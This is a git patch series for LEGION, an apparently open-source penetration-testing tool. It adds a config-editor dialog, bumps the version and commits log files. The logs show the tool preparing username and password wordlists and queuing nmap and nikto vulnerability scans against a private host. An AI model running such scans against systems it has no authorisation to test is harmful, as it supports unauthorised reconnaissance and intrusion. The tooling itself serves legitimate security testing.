z1fzvCuN$K9bCQrmkBT8R>cV{LxN{oB7g8F(WG{stWdac+@#(1wK&TNS=-@#Wm1Bo~ zHx$ra&i@ipdkrYiA~!cm6rG(eXc47=t>zG8%2O3|>6DR;$boYmPR~X8>So8=!WvZ! z#WpgNK=w&QLd2@4u+_8B2`DFj&1cG&(j#zlp=d%=!|!AIiAKU2WQ4OZ5E~1Q(Hf1Y z$iGy(imv=t#l%n4F1npeDrijXno)k{NcVPJCt1KRq0u%mX1f4XUZka%xR5cr{@+o(r$wo?u^qcqVmJwFtj_IqB(bEaor&!5S z<4N^&MM3)rU;|=n74b7Ij?~;=!Fh&T=G%|3(dV(;?(O)shKOVmSEj5JPERb9NLLda zR0$QSulREu&$GdY1zaSo^Do=K=ZsYNGQmTJzc>OnxAAp!d6dLzUiL`jC(J$bcmd1+oe#lx9TB<#>`NZ6}AG2B)y{S3L)(dA(ec)G5!6CU!Hl;RHWmSml-q7Jl$sG@TNU5oixUf*|ITRom} zhC5Ss8(XgL?mkbpBcS3KNNG@JKE!wcuNL&l&ifV|8&f<;TcrF;Po)%Rkh4>QrH4zz@N;}Knu zCAMa=eTbh}ORpBTKGUYwibLKFp3b4zPkqZ60zQ1F1^~z#OoMRfz)e$YYzmqa_Je2u zB*<10wPd-#qzvIldm41Tzh%f6Y^2Ulet6w7?#x*rPnx;%znS)SS)v^xm;BWKHa%*T zh%DJPX|huu^elsBTTai1J}~xtmf{=Ctc4K%N-6U1M;8e2MO5|58487{B~VV50vbw^ z$Q~4$W7RADj^sqmWj)W`CKXI8KXA&gis-9M6OtZDU0nHe5(s4WQ}&%0L=h59Apmnvwv2GU=Ivj2itgxwwK9Hs9o`%4w5;JFs~b0GD`)So$O36!^xUP zTDqvGR~gmak|)TANB| zHc(TroC-BSaWXM`rx{)GqMgbbAL}gYbsrM02cOwWA4MB1D8qi>MHuhsJuKRpER2%# zCETMBx>^}RX#Q6=;KZC63TKn(#}5H-I;}YaPU;XH7RCn3H;4wS$X8#>n_MiWP)cQ( zdv%}&3vWhYFBEnTmrvOU#MT#^MtLCmWfSGn4&z;%f#rh5LT|-Wy{kN@GWUdHw~0&> zs$Z?K9Q-uLlz~4Egtl*}X*1#vEuLeX2t}U3*$>i`#Lx}iI=}AnH+@*Pm@8Lr@ZTt| zxF~-?avA*%QV_}(sqxsthp8frrrcZwG;Ne1 zi5M=QHOrA}p0!-a+a@}3kW58Xb05!U1dqj zoA4eNG+JcF84%v`iS>6~&EpqFiH{B(juO>NFLr<|EwqN>kAsi^4i799pqnZn7KTm3 zS&4^;R(BMYr_`P8#m6&tmtmb~zS{9|gC|=GHwwr}{DQ#4bOnhDS}Bkz}1^FYiVa)QhyLvE@*~SoP@!sj?JqX}K=J;NdMg{(g&B;c@L2 zbEtX@cncuZZ1Mg5@r^|Nm7|bBr|1x*)Huz%%SbzM{*tS6xsQt;!JC;@|NINuT2VW7K5{iIoviOVmR+(iaRRzI|?sDPL zZb|UkBQ>pKOb6pRt2wlp*S5wtR=tw7>nQNPp>BB%~K!2^{aiK09VQwbG7MbnDNo z2XzS ztT=4Gaw0V^Nca!u>1y^jb5il9nPMghXgWAft6HLr6#ff)oI{CQP>l;S32N+M1p#@> zQd*+J(6|w((*$AtWug$lf3Nc@m}fQ~QvcHt=~%(6TOwFF3c1!ycEo>mMcn%qH_Bkg zSZ-^0hO>%I1AWd$z6<1*lf|xxx8BfvDI>@`;0HHPKN~qU4yqSBU`OP!Dtp(}i)%_>`lMz$z{5Q-4-cX%(|Bap-U!wQOu0L!h)!B}BT_HP6M#wRvtr!fcR zQ=B+P;!Ht;cy93-6-;_2i1yseuS<$`S{`jG*4v@jbf_{Z%~}25-O=CHPvpdiDcb+Z z`bEu{iru*~($Rl&M`wRQ7}XbBtvwe!=%(;8>d%zZMcF`)g;=?(kmJam`HaH1*!KSH z*k;r3A-E1g0r`yE;y}@Fs5~TW%?P8-mK^V>r56JEn6=HOBfPJy-=T%bHIFynqIJY5lq`nEzLu(tnrG-R!y9nH^)n$0NPwntx91CRtk^x=`cP)c^b=-9!= z_KDpU@zF$#R94_T0X=eAfrRK$7j{N$<9hT=f|iaiKZ5p30%~T#P3kp~Neoe=rXYhi zK*0&*aMA1#(+};T+T~ScDWW)6ybnj;Bq)S+YOa18P=Wb2x3ed0XGmwQ_2uWprQx6yeRk5giV3}%HYLA z0jAFQ@Abwn{y}QBa#ml}TjL^JIWzM34~qmzBh@8~PP-inR0BX&XMyU|{~%+ZW@j)0~gT-Q+(sSG)KlWG0z3Do^9`Kd$Z%CSJ{Mx}YMz z;3FucrC>;==X4KqNKRE9(!z_xmP&PXn`3~S@jF7o>ZJ`Q)iaa@KvIr+rDEybfqq+6 zPQ;OC3{)bIwr1NK3IiTMw12Vfrk7o@O|<`H(1iPz z|2A4i#Cf3PFopa|2hVY#qr0zrulflpp*46zwCWS2s_>$(D~6Q??M^N(86i-zF+B{9 z=98i5BWp1h7@a7(?J$J7@7@AnxV&UnjtV*eL!(md5j+C`1Na_3h)vghED`A*k)b0U z`1G=iFzlKMA}6ox>T}ya+VFd*ZUa|}PXMuZX@0w^>^gZDcoo|rq5xm;BbqW`;Cj3% z&k-x;<6_$rKBVnfwM-DFtB#S&?D`XkJC+DQX&Gt_(YMq36O&$aYqkI-bUxKKxEqKb z6P^%w&Q>0uoS^KH3}P!A)(4BY6rl_g80ZCf(7&msHHUl8gP`Z7S0apO)0v=_0ei)m zCbR1}OAjiQ8ggBq46^Zibi6eVxVC-()M{lC5QcMsKIsGLSnZp03>`hF+}LjpDy6DM ze7dv%dhbHiL}>RLpNatz;I;C(Z_)QJfpT*({}HovG@Ak;lmUV*w^5lX4z6E;g>{U) zc?6Rfeg79(qW_O%iJ1GlsW#@{%-7zuvaTN2RU(>3l4WK87ZdhQB({KDTH{Tdm72mp zRL2^sE!n#V-{$NYr_E!fYCsDQMeu`*MrNZik*DlY6B(1=#R~%4&+f}}ar^9iR+c4; z9s8VcITUaj4c`2jY9?LsrArvley#!BqTc#DonMk}w-lZt`Ta7!=l6`4CxOx*G1{CG~_itV>{ts3V zeIbbscMyfCs(0`b)J#d-SHx&65~_`wHFpj4pRV<5_`zOtL0NI)aaIW$|NpN9g)-M1 z(dBPJ$wjc^Z+mHhdeT_Vepl_M1@hoY?i{Cs+|pSWG383gVBq5!$&ktIrQgd_$V)2o ze|dVJxyM|Ns?SE+&&o;@-TiV!0SCyeI5t;^Qzt6rS;mk<57k$&SkEBNeO+{K0$3N{ z+oGtu*l2uafy3DbA_4Gw*#y=3R2nJxGGs%qOh7E#KOz$f4|oUO{CH^>e40bq}Hs0jVu9DR?zxX-EbbEYWs z-yAilCMY`%M1g+A3`FUcVb?#>Ef#$j*PWAf0*!wA>za8{{}Q8*ZRsts6_ZCg+@9mV zw+svAfR_b`b7!-^)YnapKe9Nk4#K*_u78GgRe@ht_B-70Ujw^2gj2_X=L2dl=j>(h zI(Y5BxMI1r2h`2BE|_Cg7L7Z(Ln<0OFHPjK6jQRS$XkJsq8%}^7TQnZ4vv@atI#Pk5s$NK@ zW!OxKT{5bqgxRd2fq#)^gotM=-y)&Bp3WxPYEJ-#$iW;DdNvkleV zrvtw{{avOUB4FD9=wcb`6hIN!C#~GQQU9dQ&H^1#A{5e)Tkl5ys<8ZId1^r>xD&+M zjn2<|Hrwu^qp1eE2rEfN0L!<*q_vg1bXTj#Uk;x#WH!oRg{0hEL+tL^5I^ShVawnE zkX!@>mSOMC5z?2wVVFJfGpDr|jJPuTJH?^}w0R&q2`kXY+ZckB0|nw~iXv<_gk1Vm z65OTsr5-W2S#1v4P25rt$6c>|TWI4sB`#0sz+6Y@T_Yi{wpJY|N4(MxJmXs!lQEmj z9Uj@HX3S@LBoV<~hLCWoHwIiyQ$2;wyD|SdTI1H=Gdq4Cw*mxHzqaI$=CLtu&DAU#H~ox8R{Ms4Ym{ z>iTVywo9z<+Q>yvLIppJ;{~!oaMxsj(;F3RjHkCmR2lMEjK?v^>O}oiA3)0i^XeR- zwZ86EV#t9+#x=znd)|KZp|5FMH$mPEK?lRg6&8w83O`o~0?+-unwLS5)>?_33}*ij z1~V3{q&zuH7#8KxCl9ocz*%8+p`A^>Ns=v?l@t&zqpKbriZ&k(w zWf9z1c+tpzoQJwz*7X_}aOmsQG6}SSjz9zJZcDT*D; zzomp@%RB5Y8Kd=~8};Q(G{55VeRVJO)38S$4AdoU=zC#Tm+>09I!RUZzKxh6YeX6M zT=7WqX(vj`VEb;7`Xq&yVXK>4ar$-(anmDiM3_58U*fLToz5DTFT4GRrydLZnvHm9GosriFJRZ;ak6@Tc8%i8hinrO?<>u`)*B zjs%nP7_;{84yTG+W9(Xl$B6{e7tFM{Cgbe6SAmmU3sghx;8^?WrW--X$)Whn8fK?l<(_+R{Re&5V&rr+f#8BcaCtoAda zKLH+8}Lz$MS*0>h}%rCUQpd$y2LZkHF&P}UYAt4t)T3;)4k`$=Qab(CwH zdSyTWBBUx+w*JAl4s>+o&$pGIOb)A*PS{qCo52S z3>~|}s5N3yd_y$jP7KZBTjAJ`jeXm-xeWq?9IcWa9_nHz&_1g{oPXkPGJL~O|;1YeazGHuwPe>M?S0kzH;30`)ct( z8^KWAp2YwZW$soolw=;8*zOIPDzNPrjj_!xB7!=1FPI6^E8+W~JcaA8E7puTXJ~E; zpgtsh$PnBa`E?PQ;t3Udq|Ee+uQE=~T~Mw9w-D6@+%^RFz;&mT1uH;-8vFU;-*>lv zIp0W76rf7`)nC;J@VqTtxGBo8FVGFa`nj#xX$z0OX7H;>XUlfe{4H}=zO{{^s@_UJ zKr)La)`;RAfTjgPC1OUPB;IwdB;q^nDwOO`T6kyfrZ=gO-W&`*OYFY8XKs<2lNWS9 zmd%Z81D}Fjo7*G;E_yYu_P~NiHcIy(*#Xk?(4(R=pu*Ds!$}BPKptgHjL772wWXa_ zoTu|<-`yjCx<)_nE($%eT66+xC^F8w-Rc5C`OU=c8_B@ahn{LmBXXIuQBT#WsD)~p ztvhC$PNB;6JIy}D)<#Ax^I8e%cM#uH_vUi<7fR@0Q@e#yZS>Y~lDLkG+DE&Hm0Uf# n^rH{y+#T^Ok^j{5g=>%N6y{~UlLP-V0_?zkn|*nEPTu%`dSR`R literal 0 HcmV?d00001 diff --git a/ui/configDialog.py b/ui/configDialog.py new file mode 100644 index 00000000..ce6a0fbb --- /dev/null +++ b/ui/configDialog.py @@ -0,0 +1,86 @@ +#!/usr/bin/env python + +''' +LEGION (https://govanguard.io) +Copyright (c) 2018 GoVanguard + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import os +from PyQt5.QtGui import * # for filters dialog +from PyQt5.QtWidgets import * +from PyQt5 import QtWidgets, QtGui +from app.auxiliary import * # for timestamps +from six import u as unicode +from ui.ancillaryDialog import flipState + +class Config(QtWidgets.QPlainTextEdit): + def __init__(self, qss, parent = None): + super(Config, self).__init__(parent) + self.setMinimumHeight(550) + self.setStyleSheet(qss) + self.setPlainText(open('legion.conf','r').read()) + self.setReadOnly(False) + + def getText(self): + return self.toPlainText() + +class ConfigDialog(QtWidgets.QDialog): + def __init__(self, controller, qss, parent = None): + super(ConfigDialog, self).__init__(parent) + self.controller = controller + self.qss = qss + self.setWindowTitle("Config") + self.Main = QtWidgets.QVBoxLayout() + self.frm = QtWidgets.QFormLayout() + self.setGeometry(0, 0, 800, 600) + self.center() + self.Qui_update() + self.setStyleSheet(self.qss) + + def center(self): + frameGm = self.frameGeometry() + centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def Qui_update(self): + self.form = QtWidgets.QFormLayout() + self.form2 = QtWidgets.QVBoxLayout() + self.tabwid = QtWidgets.QTabWidget(self) + self.TabConfig = QtWidgets.QWidget(self) + self.cmdSave = QtWidgets.QPushButton("Save") + self.cmdSave.setFixedWidth(90) + self.cmdSave.setIcon(QtGui.QIcon('images/save.png')) + self.cmdSave.clicked.connect(self.save) + self.cmdClose = QtWidgets.QPushButton("Close") + self.cmdClose.setFixedWidth(90) + self.cmdClose.setIcon(QtGui.QIcon('images/close.png')) + self.cmdClose.clicked.connect(self.close) + + self.formConfig = QtWidgets.QFormLayout() + + # Config Section + self.configObj = Config(qss = self.qss) + self.formConfig.addRow(self.configObj) + self.TabConfig.setLayout(self.formConfig) + + self.tabwid.addTab(self.TabConfig,'Config') + self.form.addRow(self.tabwid) + self.form2.addWidget(QtWidgets.QLabel('
')) + self.form2.addWidget(self.cmdSave, alignment = Qt.AlignCenter) + self.form2.addWidget(self.cmdClose, alignment = Qt.AlignCenter) + self.form.addRow(self.form2) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def save(self): + fileObj = open('legion.conf','w') + fileObj.write(self.configObj.getText()) + fileObj.close() + self.controller.loadSettings() diff --git a/ui/gui.py b/ui/gui.py index d23c317c..1ed21197 100644 --- a/ui/gui.py +++ b/ui/gui.py @@ -357,6 +357,11 @@ def setupMenuBar(self, MainWindow): self.menuHelp.addAction(self.actionHelp) self.menubar.addAction(self.menuHelp.menuAction()) + self.actionConfig = QtWidgets.QAction(MainWindow) + self.actionConfig.setObjectName(_fromUtf8("config")) + self.menuHelp.addAction(self.actionConfig) + self.menubar.addAction(self.menuHelp.menuAction()) + def setDefaultIndexes(self): self.MainTabWidget.setCurrentIndex(1) self.HostsTabWidget.setCurrentIndex(1) @@ -403,6 +408,8 @@ def retranslateUi(self, MainWindow): #self.actionSettings.setText(QtWidgets.QApplication.translate("MainWindow", "Preferences", None)) self.actionHelp.setText(QtWidgets.QApplication.translate("MainWindow", "Help", None)) self.actionHelp.setShortcut(QtWidgets.QApplication.translate("MainWindow", "F1", None)) + self.actionConfig.setText(QtWidgets.QApplication.translate("MainWindow", "Config", None)) + self.actionConfig.setShortcut(QtWidgets.QApplication.translate("MainWindow", "F2", None)) if __name__ == "__main__": import sys diff --git a/ui/helpDialog.py b/ui/helpDialog.py index 324b1275..dd009474 100644 --- a/ui/helpDialog.py +++ b/ui/helpDialog.py @@ -21,7 +21,7 @@ class License(QtWidgets.QPlainTextEdit): def __init__(self,parent = None): - super(License,self).__init__(parent) + super(License, self).__init__(parent) self.setReadOnly(True) self.setWindowTitle('License') self.setGeometry(0, 0, 300, 300) @@ -36,7 +36,7 @@ def center(self): class ChangeLog(QtWidgets.QPlainTextEdit): def __init__(self, qss, parent = None): - super(ChangeLog,self).__init__(parent) + super(ChangeLog, self).__init__(parent) self.setMinimumHeight(240) self.setStyleSheet(qss) self.setPlainText(open('CHANGELOG.txt','r').read()) @@ -123,7 +123,6 @@ def Qui_update(self): self.formChange.addRow(ChangeLog(qss = self.qss)) self.TabChangelog.setLayout(self.formChange) - #self.form.addRow(self.cmdClose) self.tabwid.addTab(self.TabAbout,'About') self.tabwid.addTab(self.TabVersion,'Version') self.tabwid.addTab(self.TabChangelog,'ChangeLog') diff --git a/ui/view.py b/ui/view.py index 8cd03e1e..4f910e5c 100644 --- a/ui/view.py +++ b/ui/view.py @@ -20,6 +20,7 @@ from ui.gui import * from ui.dialogs import * from ui.settingsDialog import * +from ui.configDialog import * from ui.helpDialog import * from ui.addHostDialog import * from ui.ancillaryDialog import * @@ -62,6 +63,7 @@ def startOnce(self): self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.links, self.controller.emails, self.controller.version, self.controller.build, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) + self.configDialog = ConfigDialog(controller = self.controller, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) @@ -134,6 +136,7 @@ def startConnections(self): # signal ini self.connectImportNmap() #self.connectSettings() self.connectHelp() + self.connectConfig() self.connectAppExit() ### TABLE ACTIONS ### self.connectAddHostsOverlayClick() @@ -476,7 +479,10 @@ def cancelSettings(self): self.controller.cancelSettings() def connectHelp(self): - self.ui.menuHelp.triggered.connect(self.helpDialog.show) + self.ui.actionHelp.triggered.connect(self.helpDialog.show) + + def connectConfig(self): + self.ui.actionConfig.triggered.connect(self.configDialog.show) def connectAppExit(self): self.ui.actionExit.triggered.connect(self.appExit) From 8d19e5dce7d89913c758f05d6d25c3eb4c496946 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 12:59:30 -0600 Subject: [PATCH 153/450] Bump to 0.3.2 --- CHANGELOG.txt | 6 ++++++ controller/controller.py | 2 +- 2 files changed, 7 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.txt b/CHANGELOG.txt index 96ada9cd..809c30da 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,9 @@ +LEGION 0.3.2 + +* Stage 3 is now vulners scan +* Former stages 3, 4 and 5 are respectively 4, 5 and 6 now +* Config editor dialog + LEGION 0.3.1 * UI polish everywhere (element sizing, scaling, icons, tooltips, etc.) diff --git a/controller/controller.py b/controller/controller.py index 875fa5a8..f9a42f29 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -27,7 +27,7 @@ class Controller(): @timing def __init__(self, view, logic): self.name = "LEGION" - self.version = '0.3.1' + self.version = '0.3.2' self.build = '1551207428' self.author = 'GoVanguard' self.copyright = '2019' From dc7b9bb10746d429e13337cecd8d82f11ab10642 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 26 Feb 2019 13:27:54 -0600 Subject: [PATCH 154/450] Add empty file under backup to ensure it is included in git repo --- .../NOTHING-HERE-BUT-US-CHICKENS | 0 log/legion-db.log | 243 ++++++++++++++++++ log/legion-startup.log | 243 ++++++++++++++++++ log/legion.log | 243 ++++++++++++++++++ 4 files changed, 729 insertions(+) rename .justcloned => backup/NOTHING-HERE-BUT-US-CHICKENS (100%) diff --git a/.justcloned b/backup/NOTHING-HERE-BUT-US-CHICKENS similarity index 100% rename from .justcloned rename to backup/NOTHING-HERE-BUT-US-CHICKENS diff --git a/log/legion-db.log b/log/legion-db.log index 8b137891..48c03bb3 100644 --- a/log/legion-db.log +++ b/log/legion-db.log @@ -1 +1,244 @@ +{"time": "2019-02-26 13:05:59,144", "name": "Creating temporary files..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 30}} +{"time": "2019-02-26 13:05:59,147", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 32}} +{"time": "2019-02-26 13:05:59,152", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-usernames.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} +{"time": "2019-02-26 13:05:59,155", "name": "Wordlist was created/opened: ./tmp/legion-mdzit9o7-tool-output/legion-passwords.txt", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "auxiliary", "filename": "auxiliary.py", "line": 185}} +{"time": "2019-02-26 13:05:59,163", "name": "/mnt/c/Users/hackm/OneDrive/Documents/Customers/GVIT/GIT/legion/tmp/legion-sfautv7t.legion", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 42}} +{"time": "2019-02-26 13:05:59,865", "name": "Loading settings file..", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "settings", "filename": "settings.py", "line": 26}} +{"time": "2019-02-26 13:06:14,835", "name": "runStagedNmap called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:06:14,840", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:06:14,843", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:06:14,844", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:06:14,850", "name": "Waiting 0.33s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:06:15,200", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:06:15,206", "name": "Queuing: nmap -T4 -sC -sSU -p T:80,443 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130614838488-nmapstage1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:06:15,258", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:06:15,260", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:06:15,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:06:15,934", "name": "runCommand called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:06:15,934", "name": "runCommand connected for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:36,413", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:36,415", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:37,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:37,403", "name": "Process 1 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} +{"time": "2019-02-26 13:07:37,475", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} +{"time": "2019-02-26 13:07:37,629", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:37,632", "name": "Waiting 0.05s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:37,726", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:37,732", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} +{"time": "2019-02-26 13:07:37,742", "name": "runStagedNmap called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} +{"time": "2019-02-26 13:07:37,761", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:37,776", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:37,781", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:37,798", "name": "Waiting 0.38s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:38,236", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:38,246", "name": "Queuing: nmap -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130737760118-nmapstage2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:38,312", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:38,315", "name": "Waiting 0.85s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,186", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,189", "name": "runCommand called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:39,190", "name": "runCommand connected for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} +{"time": "2019-02-26 13:07:39,222", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} +{"time": "2019-02-26 13:07:39,224", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:07:39,236", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:39,239", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:39,242", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,244", "name": "Waiting 0.22s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,494", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,499", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739226281-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:39,543", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,546", "name": "Waiting 0.35s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:39,914", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:39,916", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} +{"time": "2019-02-26 13:07:39,918", "name": "Running tools for: https on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} +{"time": "2019-02-26 13:07:39,933", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} +{"time": "2019-02-26 13:07:39,936", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} +{"time": "2019-02-26 13:07:39,938", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:39,943", "name": "Waiting 0.97s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:40,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} +{"time": "2019-02-26 13:07:40,936", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739922613-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} +{"time": "2019-02-26 13:07:40,975", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} +{"time": "2019-02-26 13:07:40,978", "name": "Waiting 0.25s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} +{"time": "2019-02-26 13:07:41,271", "name": "DB lock released", "level": "INFO", "data": 